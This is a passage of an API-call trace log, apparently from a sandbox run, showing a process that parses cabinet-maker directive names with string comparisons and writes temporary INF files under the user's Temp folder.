(_Str1="MaxDiskFileCount", _Str2="Infdisk#") returned 4 [0151.829] _strcmpi (_Str1="MaxDiskSize", _Str2="Infdisk#") returned 4 [0151.829] _strcmpi (_Str1="MaxErrors", _Str2="Infdisk#") returned 4 [0151.829] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="Infdisk#") returned 9 [0151.829] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="Infdisk#") returned 9 [0151.829] _strcmpi (_Str1="ReservePerFolderSize", _Str2="Infdisk#") returned 9 [0151.829] _strcmpi (_Str1="RptFileName", _Str2="Infdisk#") returned 9 [0151.829] _strcmpi (_Str1="SourceDir", _Str2="Infdisk#") returned 10 [0151.829] _strcmpi (_Str1="UniqueFiles", _Str2="Infdisk#") returned 12 [0151.829] _strcmpi (_Str1="DiskDirectory1", _Str2="Infdisk#") returned -5 [0151.829] _strcmpi (_Str1="CabinetName1", _Str2="Infdisk#") returned -6 [0151.829] _vsnprintf (in: _DstBuf=0xdea30, _MaxCount=0x1ff, _Format="%s", _ArgList=0xde988 | out: _DstBuf="Infdisk#") returned 8 [0151.829] _vsnprintf (in: _DstBuf=0x2bbe5a, _MaxCount=0x1fd, _Format="%d", _ArgList=0xdefb8 | out: _DstBuf="1") returned 1 [0151.829] _strcmpi (_Str1="Cabinet", _Str2="Infcabfile") returned -6 [0151.829] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="Infcabfile") returned -6 [0151.829] _strcmpi (_Str1="CabinetNameTemplate", _Str2="Infcabfile") returned -6 [0151.829] _strcmpi (_Str1="ChecksumWidth", _Str2="Infcabfile") returned -6 [0151.829] _strcmpi (_Str1="ClusterSize", _Str2="Infcabfile") returned -6 [0151.829] _strcmpi (_Str1="Compress", _Str2="Infcabfile") returned -6 [0151.829] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="Infcabfile") returned -6 [0151.829] _strcmpi (_Str1="CompressionType", _Str2="Infcabfile") returned -6 [0151.829] _strcmpi (_Str1="CompressionLevel", _Str2="Infcabfile") returned -6 [0151.829] _strcmpi (_Str1="CompressionMemory", _Str2="Infcabfile") returned -6 [0151.829] _strcmpi (_Str1="DestinationDir", _Str2="Infcabfile") returned -5 [0151.829] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="Infcabfile") returned -5 [0151.829] _strcmpi (_Str1="DiskLabelTemplate", _Str2="Infcabfile") returned -5 [0151.829] _strcmpi (_Str1="DoNotCopyFiles", _Str2="Infcabfile") returned -5 [0151.829] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="Infcabfile") returned -3 [0151.830] _strcmpi (_Str1="FolderSizeThreshold", _Str2="Infcabfile") returned -3 [0151.830] _strcmpi (_Str1="GenerateInf", _Str2="Infcabfile") returned -2 [0151.830] _strcmpi (_Str1="InfCabinetHeader", _Str2="Infcabfile") returned 3 [0151.830] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="Infcabfile") returned 3 [0151.830] _strcmpi (_Str1="InfCommentString", _Str2="Infcabfile") returned 14 [0151.830] _strcmpi (_Str1="InfDateFormat", _Str2="Infcabfile") returned 1 [0151.830] _strcmpi (_Str1="InfDiskHeader", _Str2="Infcabfile") returned 1 [0151.830] _strcmpi (_Str1="InfDiskLineFormat", _Str2="Infcabfile") returned 1 [0151.830] _strcmpi (_Str1="InfFileHeader", _Str2="Infcabfile") returned 3 [0151.830] _strcmpi (_Str1="InfFileLineFormat", _Str2="Infcabfile") returned 3 [0151.830] _strcmpi (_Str1="InfFileName", _Str2="Infcabfile") returned 3 [0151.830] _strcmpi (_Str1="InfFooter", _Str2="Infcabfile") returned 3 [0151.830] _strcmpi (_Str1="InfFooter1", _Str2="Infcabfile") returned 3 [0151.830] _strcmpi (_Str1="InfFooter2", _Str2="Infcabfile") returned 3 [0151.830] _strcmpi (_Str1="InfFooter3", _Str2="Infcabfile") returned 3 [0151.830] _strcmpi (_Str1="InfFooter4", _Str2="Infcabfile") returned 3 [0151.830] _strcmpi (_Str1="InfHeader", _Str2="Infcabfile") returned 5 [0151.830] _strcmpi (_Str1="InfHeader1", _Str2="Infcabfile") returned 5 [0151.830] _strcmpi (_Str1="InfHeader2", _Str2="Infcabfile") returned 5 [0151.830] _strcmpi (_Str1="InfHeader3", _Str2="Infcabfile") returned 5 [0151.830] _strcmpi (_Str1="InfHeader4", _Str2="Infcabfile") returned 5 [0151.830] _strcmpi (_Str1="InfHeader5", _Str2="Infcabfile") returned 5 [0151.830] _strcmpi (_Str1="InfHeader6", _Str2="Infcabfile") returned 5 [0151.830] _strcmpi (_Str1="InfSectionOrder", _Str2="Infcabfile") returned 16 [0151.830] _strcmpi (_Str1="MaxCabinetSize", _Str2="Infcabfile") returned 4 [0151.830] _strcmpi (_Str1="MaxDiskFileCount", _Str2="Infcabfile") returned 4 [0151.830] _strcmpi (_Str1="MaxDiskSize", _Str2="Infcabfile") returned 4 [0151.830] _strcmpi (_Str1="MaxErrors", _Str2="Infcabfile") returned 4 [0151.830] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="Infcabfile") returned 9 [0151.830] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="Infcabfile") returned 9 [0151.830] _strcmpi (_Str1="ReservePerFolderSize", _Str2="Infcabfile") returned 9 [0151.830] _strcmpi (_Str1="RptFileName", _Str2="Infcabfile") returned 9 [0151.830] _strcmpi (_Str1="SourceDir", _Str2="Infcabfile") returned 10 [0151.830] _strcmpi (_Str1="UniqueFiles", _Str2="Infcabfile") returned 12 [0151.830] _strcmpi (_Str1="DiskDirectory1", _Str2="Infcabfile") returned -5 [0151.830] _strcmpi (_Str1="CabinetName1", _Str2="Infcabfile") returned -6 [0151.830] _vsnprintf (in: _DstBuf=0xdea30, _MaxCount=0x1ff, _Format="%s", _ArgList=0xde988 | out: _DstBuf="Infcabfile") returned 10 [0151.830] _vsnprintf (in: _DstBuf=0xdea30, _MaxCount=0x1ff, _Format="%s", _ArgList=0xde988 | out: _DstBuf="Infdisk#") returned 8 [0151.831] _vsnprintf (in: _DstBuf=0x2bbe58, _MaxCount=0x1ff, _Format="%d", _ArgList=0xdefb8 | out: _DstBuf="1") returned 1 [0151.831] _strcmpi (_Str1="Cabinet", _Str2="Infcab#") returned -6 [0151.831] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="Infcab#") returned -6 [0151.831] _strcmpi (_Str1="CabinetNameTemplate", _Str2="Infcab#") returned -6 [0151.831] _strcmpi (_Str1="ChecksumWidth", _Str2="Infcab#") returned -6 [0151.831] _strcmpi (_Str1="ClusterSize", _Str2="Infcab#") returned -6 [0151.831] _strcmpi (_Str1="Compress", _Str2="Infcab#") returned -6 [0151.831] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="Infcab#") returned -6 [0151.831] _strcmpi (_Str1="CompressionType", _Str2="Infcab#") returned -6 [0151.831] _strcmpi (_Str1="CompressionLevel", _Str2="Infcab#") returned -6 [0151.831] _strcmpi (_Str1="CompressionMemory", _Str2="Infcab#") returned -6 [0151.831] _strcmpi (_Str1="DestinationDir", _Str2="Infcab#") returned -5 [0151.831] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="Infcab#") returned -5 [0151.831] _strcmpi (_Str1="DiskLabelTemplate", _Str2="Infcab#") returned -5 [0151.831] _strcmpi (_Str1="DoNotCopyFiles", _Str2="Infcab#") returned -5 [0151.831] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="Infcab#") returned -3 [0151.831] _strcmpi (_Str1="FolderSizeThreshold", _Str2="Infcab#") returned -3 [0151.831] _strcmpi (_Str1="GenerateInf", _Str2="Infcab#") returned -2 [0151.831] _strcmpi (_Str1="InfCabinetHeader", _Str2="Infcab#") returned 70 [0151.831] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="Infcab#") returned 70 [0151.831] _strcmpi (_Str1="InfCommentString", _Str2="Infcab#") returned 14 [0151.831] _strcmpi (_Str1="InfDateFormat", _Str2="Infcab#") returned 1 [0151.831] _strcmpi (_Str1="InfDiskHeader", _Str2="Infcab#") returned 1 [0151.831] _vsnprintf (in: _DstBuf=0xdea30, _MaxCount=0x1ff, _Format="%s", _ArgList=0xde988 | out: _DstBuf="Infcab#") returned 7 [0151.831] _vsnprintf (in: _DstBuf=0x2bbe5a, _MaxCount=0x1fd, _Format="%d", _ArgList=0xdefb8 | out: _DstBuf="1") returned 1 [0151.831] _vsnprintf (in: _DstBuf=0xdea30, _MaxCount=0x1ff, _Format="%s", _ArgList=0xde988 | out: _DstBuf="Inffile") returned 7 [0151.831] _vsnprintf (in: _DstBuf=0xdea30, _MaxCount=0x1ff, _Format="%s", _ArgList=0xde988 | out: _DstBuf="Infsize") returned 7 [0151.831] _vsnprintf (in: _DstBuf=0x2bbe63, _MaxCount=0x1f4, _Format="%ld", _ArgList=0xdefb8 | out: _DstBuf="1") returned 1 [0151.831] GetCurrentProcessId () returned 0x850 [0151.832] _vsnprintf (in: _DstBuf=0xdf223, _MaxCount=0xa, _Format="_%u_", _ArgList=0xdf218 | out: _DstBuf="_2128_") returned 6 [0151.832] _tempnam (_Directory="", _FilePrefix="inf_2128_") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\inf_2128_2" [0151.832] fopen (_Filename="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\inf_2128_2" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\inf_2128_2"), _Mode="wt") returned 0x7fefd702b10 [0151.832] malloc (_Size=0x18) returned 0x2b97e0 [0151.833] free (_Block=0x2baf30) [0151.833] fprintf (in: _File=0x7fefd702b10, _Format="%s\n" | out: _File=0x7fefd702b10) returned 12 [0151.833] _vsnprintf (in: _DstBuf=0xdf298, _MaxCount=0x1f, _Format="InfDiskHeader%d", _ArgList=0xdf0f8 | out: _DstBuf="InfDiskHeader1") returned 14 [0151.833] _strcmpi (_Str1="Cabinet", _Str2="InfDiskHeader1") returned -6 [0151.833] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfDiskHeader1") returned -6 [0151.833] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfDiskHeader1") returned -6 [0151.833] _strcmpi (_Str1="ChecksumWidth", _Str2="InfDiskHeader1") returned -6 [0151.833] _strcmpi (_Str1="ClusterSize", _Str2="InfDiskHeader1") returned -6 [0151.833] _strcmpi (_Str1="Compress", _Str2="InfDiskHeader1") returned -6 [0151.833] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfDiskHeader1") returned -6 [0151.833] _strcmpi (_Str1="CompressionType", _Str2="InfDiskHeader1") returned -6 [0151.833] _strcmpi (_Str1="CompressionLevel", _Str2="InfDiskHeader1") returned -6 [0151.833] _strcmpi (_Str1="CompressionMemory", _Str2="InfDiskHeader1") returned -6 [0151.833] _strcmpi (_Str1="DestinationDir", _Str2="InfDiskHeader1") returned -5 [0151.833] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfDiskHeader1") returned -5 [0151.833] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfDiskHeader1") returned -5 [0151.833] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfDiskHeader1") returned -5 [0151.833] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfDiskHeader1") returned -3 [0151.833] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfDiskHeader1") returned -3 [0151.833] _strcmpi (_Str1="GenerateInf", _Str2="InfDiskHeader1") returned -2 [0151.833] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfDiskHeader1") returned -1 [0151.833] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfDiskHeader1") returned -1 [0151.833] _strcmpi (_Str1="InfCommentString", _Str2="InfDiskHeader1") returned -1 [0151.833] _strcmpi (_Str1="InfDateFormat", _Str2="InfDiskHeader1") returned -8 [0151.833] _strcmpi (_Str1="InfDiskHeader", _Str2="InfDiskHeader1") returned -49 [0151.833] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfDiskHeader1") returned 4 [0151.833] _strcmpi (_Str1="InfFileHeader", _Str2="InfDiskHeader1") returned 2 [0151.833] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfDiskHeader1") returned 2 [0151.833] _strcmpi (_Str1="InfFileName", _Str2="InfDiskHeader1") returned 2 [0151.833] _strcmpi (_Str1="InfFooter", _Str2="InfDiskHeader1") returned 2 [0151.833] _strcmpi (_Str1="InfFooter1", _Str2="InfDiskHeader1") returned 2 [0151.833] _strcmpi (_Str1="InfFooter2", _Str2="InfDiskHeader1") returned 2 [0151.833] _strcmpi (_Str1="InfFooter3", _Str2="InfDiskHeader1") returned 2 [0151.833] _strcmpi (_Str1="InfFooter4", _Str2="InfDiskHeader1") returned 2 [0151.833] _strcmpi (_Str1="InfHeader", _Str2="InfDiskHeader1") returned 4 [0151.833] _strcmpi (_Str1="InfHeader1", _Str2="InfDiskHeader1") returned 4 [0151.833] _strcmpi (_Str1="InfHeader2", _Str2="InfDiskHeader1") returned 4 [0151.834] _strcmpi (_Str1="InfHeader3", _Str2="InfDiskHeader1") returned 4 [0151.834] _strcmpi (_Str1="InfHeader4", _Str2="InfDiskHeader1") returned 4 [0151.834] _strcmpi (_Str1="InfHeader5", _Str2="InfDiskHeader1") returned 4 [0151.834] _strcmpi (_Str1="InfHeader6", _Str2="InfDiskHeader1") returned 4 [0151.834] _strcmpi (_Str1="InfSectionOrder", _Str2="InfDiskHeader1") returned 15 [0151.834] _strcmpi (_Str1="MaxCabinetSize", _Str2="InfDiskHeader1") returned 4 [0151.834] _strcmpi (_Str1="MaxDiskFileCount", _Str2="InfDiskHeader1") returned 4 [0151.834] _strcmpi (_Str1="MaxDiskSize", _Str2="InfDiskHeader1") returned 4 [0151.834] _strcmpi (_Str1="MaxErrors", _Str2="InfDiskHeader1") returned 4 [0151.834] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="InfDiskHeader1") returned 9 [0151.834] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="InfDiskHeader1") returned 9 [0151.834] _strcmpi (_Str1="ReservePerFolderSize", _Str2="InfDiskHeader1") returned 9 [0151.834] _strcmpi (_Str1="RptFileName", _Str2="InfDiskHeader1") returned 9 [0151.834] _strcmpi (_Str1="SourceDir", _Str2="InfDiskHeader1") returned 10 [0151.834] _strcmpi (_Str1="UniqueFiles", _Str2="InfDiskHeader1") returned 12 [0151.834] _strcmpi (_Str1="DiskDirectory1", _Str2="InfDiskHeader1") returned -5 [0151.834] _strcmpi (_Str1="CabinetName1", _Str2="InfDiskHeader1") returned -6 [0151.834] _vsnprintf (in: _DstBuf=0xdef50, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdeea8 | out: _DstBuf="InfDiskHeader1") returned 14 [0151.834] _strcmpi (_Str1="Cabinet", _Str2="InfCabinetHeader") returned -6 [0151.834] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfCabinetHeader") returned -6 [0151.834] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfCabinetHeader") returned -6 [0151.834] _strcmpi (_Str1="ChecksumWidth", _Str2="InfCabinetHeader") returned -6 [0151.834] _strcmpi (_Str1="ClusterSize", _Str2="InfCabinetHeader") returned -6 [0151.834] _strcmpi (_Str1="Compress", _Str2="InfCabinetHeader") returned -6 [0151.834] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfCabinetHeader") returned -6 [0151.834] _strcmpi (_Str1="CompressionType", _Str2="InfCabinetHeader") returned -6 [0151.834] _strcmpi (_Str1="CompressionLevel", _Str2="InfCabinetHeader") returned -6 [0151.834] _strcmpi (_Str1="CompressionMemory", _Str2="InfCabinetHeader") returned -6 [0151.834] _strcmpi (_Str1="DestinationDir", _Str2="InfCabinetHeader") returned -5 [0151.834] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfCabinetHeader") returned -5 [0151.834] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfCabinetHeader") returned -5 [0151.834] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfCabinetHeader") returned -5 [0151.834] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfCabinetHeader") returned -3 [0151.834] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfCabinetHeader") returned -3 [0151.834] _strcmpi (_Str1="GenerateInf", _Str2="InfCabinetHeader") returned -2 [0151.834] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfCabinetHeader") returned 0 [0151.834] GetCurrentProcessId () returned 0x850 [0151.834] _vsnprintf (in: _DstBuf=0xdf223, _MaxCount=0xa, _Format="_%u_", _ArgList=0xdf218 | out: _DstBuf="_2128_") returned 6 [0151.835] _tempnam (_Directory="", _FilePrefix="inf_2128_") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\inf_2128_3" [0151.835] fopen (_Filename="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\inf_2128_3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\inf_2128_3"), _Mode="wt") returned 0x7fefd702b40 [0151.835] malloc (_Size=0x18) returned 0x2b9800 [0151.835] free (_Block=0x2baf30) [0151.835] fprintf (in: _File=0x7fefd702b40, _Format="%s\n" | out: _File=0x7fefd702b40) returned 15 [0151.835] _vsnprintf (in: _DstBuf=0xdf298, _MaxCount=0x1f, _Format="InfCabinetHeader%d", _ArgList=0xdf0f8 | out: _DstBuf="InfCabinetHeader1") returned 17 [0151.835] _strcmpi (_Str1="Cabinet", _Str2="InfCabinetHeader1") returned -6 [0151.835] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfCabinetHeader1") returned -6 [0151.835] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfCabinetHeader1") returned -6 [0151.835] _strcmpi (_Str1="ChecksumWidth", _Str2="InfCabinetHeader1") returned -6 [0151.835] _strcmpi (_Str1="ClusterSize", _Str2="InfCabinetHeader1") returned -6 [0151.835] _strcmpi (_Str1="Compress", _Str2="InfCabinetHeader1") returned -6 [0151.835] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfCabinetHeader1") returned -6 [0151.835] _strcmpi (_Str1="CompressionType", _Str2="InfCabinetHeader1") returned -6 [0151.835] _strcmpi (_Str1="CompressionLevel", _Str2="InfCabinetHeader1") returned -6 [0151.836] _strcmpi (_Str1="CompressionMemory", _Str2="InfCabinetHeader1") returned -6 [0151.836] _strcmpi (_Str1="DestinationDir", _Str2="InfCabinetHeader1") returned -5 [0151.836] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfCabinetHeader1") returned -5 [0151.836] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfCabinetHeader1") returned -5 [0151.836] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfCabinetHeader1") returned -5 [0151.836] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfCabinetHeader1") returned -3 [0151.836] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfCabinetHeader1") returned -3 [0151.836] _strcmpi (_Str1="GenerateInf", _Str2="InfCabinetHeader1") returned -2 [0151.836] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfCabinetHeader1") returned -49 [0151.836] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfCabinetHeader1") returned 4 [0151.836] _strcmpi (_Str1="InfCommentString", _Str2="InfCabinetHeader1") returned 14 [0151.836] _strcmpi (_Str1="InfDateFormat", _Str2="InfCabinetHeader1") returned 1 [0151.836] _strcmpi (_Str1="InfDiskHeader", _Str2="InfCabinetHeader1") returned 1 [0151.836] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfCabinetHeader1") returned 1 [0151.836] _strcmpi (_Str1="InfFileHeader", _Str2="InfCabinetHeader1") returned 3 [0151.836] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfCabinetHeader1") returned 3 [0151.836] _strcmpi (_Str1="InfFileName", _Str2="InfCabinetHeader1") returned 3 [0151.836] _strcmpi (_Str1="InfFooter", _Str2="InfCabinetHeader1") returned 3 [0151.836] _strcmpi (_Str1="InfFooter1", _Str2="InfCabinetHeader1") returned 3 [0151.836] _strcmpi (_Str1="InfFooter2", _Str2="InfCabinetHeader1") returned 3 [0151.836] _strcmpi (_Str1="InfFooter3", _Str2="InfCabinetHeader1") returned 3 [0151.836] _strcmpi (_Str1="InfFooter4", _Str2="InfCabinetHeader1") returned 3 [0151.836] _strcmpi (_Str1="InfHeader", _Str2="InfCabinetHeader1") returned 5 [0151.836] _strcmpi (_Str1="InfHeader1", _Str2="InfCabinetHeader1") returned 5 [0151.836] _strcmpi (_Str1="InfHeader2", _Str2="InfCabinetHeader1") returned 5 [0151.836] _strcmpi (_Str1="InfHeader3", _Str2="InfCabinetHeader1") returned 5 [0151.836] _strcmpi (_Str1="InfHeader4", _Str2="InfCabinetHeader1") returned 5 [0151.836] _strcmpi (_Str1="InfHeader5", _Str2="InfCabinetHeader1") returned 5 [0151.836] _strcmpi (_Str1="InfHeader6", _Str2="InfCabinetHeader1") returned 5 [0151.836] _strcmpi (_Str1="InfSectionOrder", _Str2="InfCabinetHeader1") returned 16 [0151.836] _strcmpi (_Str1="MaxCabinetSize", _Str2="InfCabinetHeader1") returned 4 [0151.836] _strcmpi (_Str1="MaxDiskFileCount", _Str2="InfCabinetHeader1") returned 4 [0151.836] _strcmpi (_Str1="MaxDiskSize", _Str2="InfCabinetHeader1") returned 4 [0151.836] _strcmpi (_Str1="MaxErrors", _Str2="InfCabinetHeader1") returned 4 [0151.836] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="InfCabinetHeader1") returned 9 [0151.836] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="InfCabinetHeader1") returned 9 [0151.836] _strcmpi (_Str1="ReservePerFolderSize", _Str2="InfCabinetHeader1") returned 9 [0151.836] _strcmpi (_Str1="RptFileName", _Str2="InfCabinetHeader1") returned 9 [0151.836] _strcmpi (_Str1="SourceDir", _Str2="InfCabinetHeader1") returned 10 [0151.836] _strcmpi (_Str1="UniqueFiles", _Str2="InfCabinetHeader1") returned 12 [0151.837] _strcmpi (_Str1="DiskDirectory1", _Str2="InfCabinetHeader1") returned -5 [0151.837] _strcmpi (_Str1="CabinetName1", _Str2="InfCabinetHeader1") returned -6 [0151.837] _vsnprintf (in: _DstBuf=0xdef50, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdeea8 | out: _DstBuf="InfCabinetHeader1") returned 17 [0151.837] _strcmpi (_Str1="Cabinet", _Str2="InfFileHeader") returned -6 [0151.837] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFileHeader") returned -6 [0151.837] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFileHeader") returned -6 [0151.837] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFileHeader") returned -6 [0151.837] _strcmpi (_Str1="ClusterSize", _Str2="InfFileHeader") returned -6 [0151.837] _strcmpi (_Str1="Compress", _Str2="InfFileHeader") returned -6 [0151.837] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFileHeader") returned -6 [0151.837] _strcmpi (_Str1="CompressionType", _Str2="InfFileHeader") returned -6 [0151.837] _strcmpi (_Str1="CompressionLevel", _Str2="InfFileHeader") returned -6 [0151.837] _strcmpi (_Str1="CompressionMemory", _Str2="InfFileHeader") returned -6 [0151.837] _strcmpi (_Str1="DestinationDir", _Str2="InfFileHeader") returned -5 [0151.837] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfFileHeader") returned -5 [0151.837] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfFileHeader") returned -5 [0151.837] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfFileHeader") returned -5 [0151.837] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfFileHeader") returned -3 [0151.837] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfFileHeader") returned -3 [0151.837] _strcmpi (_Str1="GenerateInf", _Str2="InfFileHeader") returned -2 [0151.837] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfFileHeader") returned -3 [0151.837] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfFileHeader") returned -3 [0151.837] _strcmpi (_Str1="InfCommentString", _Str2="InfFileHeader") returned -3 [0151.837] _strcmpi (_Str1="InfDateFormat", _Str2="InfFileHeader") returned -2 [0151.837] _strcmpi (_Str1="InfDiskHeader", _Str2="InfFileHeader") returned -2 [0151.837] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfFileHeader") returned -2 [0151.837] _strcmpi (_Str1="InfFileHeader", _Str2="InfFileHeader") returned 0 [0151.837] GetCurrentProcessId () returned 0x850 [0151.837] _vsnprintf (in: _DstBuf=0xdf223, _MaxCount=0xa, _Format="_%u_", _ArgList=0xdf218 | out: _DstBuf="_2128_") returned 6 [0151.837] _tempnam (_Directory="", _FilePrefix="inf_2128_") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\inf_2128_4" [0151.837] fopen (_Filename="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\inf_2128_4" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\inf_2128_4"), _Mode="wt") returned 0x7fefd702b70 [0151.838] malloc (_Size=0x18) returned 0x2b9820 [0151.838] free (_Block=0x2baf30) [0151.838] fprintf (in: _File=0x7fefd702b70, _Format="%s\n" | out: _File=0x7fefd702b70) returned 12 [0151.838] _vsnprintf (in: _DstBuf=0xdf298, _MaxCount=0x1f, _Format="InfFileHeader%d", _ArgList=0xdf0f8 | out: _DstBuf="InfFileHeader1") returned 14 [0151.838] _strcmpi (_Str1="Cabinet", _Str2="InfFileHeader1") returned -6 [0151.838] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFileHeader1") returned -6 [0151.838] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFileHeader1") returned -6 [0151.838] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFileHeader1") returned -6 [0151.838] _strcmpi (_Str1="ClusterSize", _Str2="InfFileHeader1") returned -6 [0151.838] _strcmpi (_Str1="Compress", _Str2="InfFileHeader1") returned -6 [0151.838] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFileHeader1") returned -6 [0151.838] _strcmpi (_Str1="CompressionType", _Str2="InfFileHeader1") returned -6 [0151.838] _strcmpi (_Str1="CompressionLevel", _Str2="InfFileHeader1") returned -6 [0151.838] _strcmpi (_Str1="CompressionMemory", _Str2="InfFileHeader1") returned -6 [0151.838] _strcmpi (_Str1="DestinationDir", _Str2="InfFileHeader1") returned -5 [0151.838] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfFileHeader1") returned -5 [0151.838] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfFileHeader1") returned -5 [0151.838] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfFileHeader1") returned -5 [0151.838] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfFileHeader1") returned -3 [0151.838] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfFileHeader1") returned -3 [0151.838] _strcmpi (_Str1="GenerateInf", _Str2="InfFileHeader1") returned -2 [0151.838] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfFileHeader1") returned -3 [0151.838] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfFileHeader1") returned -3 [0151.838] _strcmpi (_Str1="InfCommentString", _Str2="InfFileHeader1") returned -3 [0151.839] _strcmpi (_Str1="InfDateFormat", _Str2="InfFileHeader1") returned -2 [0151.839] _strcmpi (_Str1="InfDiskHeader", _Str2="InfFileHeader1") returned -2 [0151.839] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfFileHeader1") returned -2 [0151.839] _strcmpi (_Str1="InfFileHeader", _Str2="InfFileHeader1") returned -49 [0151.839] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfFileHeader1") returned 4 [0151.839] _strcmpi (_Str1="InfFileName", _Str2="InfFileHeader1") returned 6 [0151.839] _strcmpi (_Str1="InfFooter", _Str2="InfFileHeader1") returned 6 [0151.839] _strcmpi (_Str1="InfFooter1", _Str2="InfFileHeader1") returned 6 [0151.839] _strcmpi (_Str1="InfFooter2", _Str2="InfFileHeader1") returned 6 [0151.839] _strcmpi (_Str1="InfFooter3", _Str2="InfFileHeader1") returned 6 [0151.839] _strcmpi (_Str1="InfFooter4", _Str2="InfFileHeader1") returned 6 [0151.839] _strcmpi (_Str1="InfHeader", _Str2="InfFileHeader1") returned 2 [0151.839] _strcmpi (_Str1="InfHeader1", _Str2="InfFileHeader1") returned 2 [0151.839] _strcmpi (_Str1="InfHeader2", _Str2="InfFileHeader1") returned 2 [0151.839] _strcmpi (_Str1="InfHeader3", _Str2="InfFileHeader1") returned 2 [0151.839] _strcmpi (_Str1="InfHeader4", _Str2="InfFileHeader1") returned 2 [0151.839] _strcmpi (_Str1="InfHeader5", _Str2="InfFileHeader1") returned 2 [0151.839] _strcmpi (_Str1="InfHeader6", _Str2="InfFileHeader1") returned 2 [0151.839] _strcmpi (_Str1="InfSectionOrder", _Str2="InfFileHeader1") returned 13 [0151.839] _strcmpi (_Str1="MaxCabinetSize", _Str2="InfFileHeader1") returned 4 [0151.839] _strcmpi (_Str1="MaxDiskFileCount", _Str2="InfFileHeader1") returned 4 [0151.839] _strcmpi (_Str1="MaxDiskSize", _Str2="InfFileHeader1") returned 4 [0151.839] _strcmpi (_Str1="MaxErrors", _Str2="InfFileHeader1") returned 4 [0151.839] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="InfFileHeader1") returned 9 [0151.839] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="InfFileHeader1") returned 9 [0151.839] _strcmpi (_Str1="ReservePerFolderSize", _Str2="InfFileHeader1") returned 9 [0151.839] _strcmpi (_Str1="RptFileName", 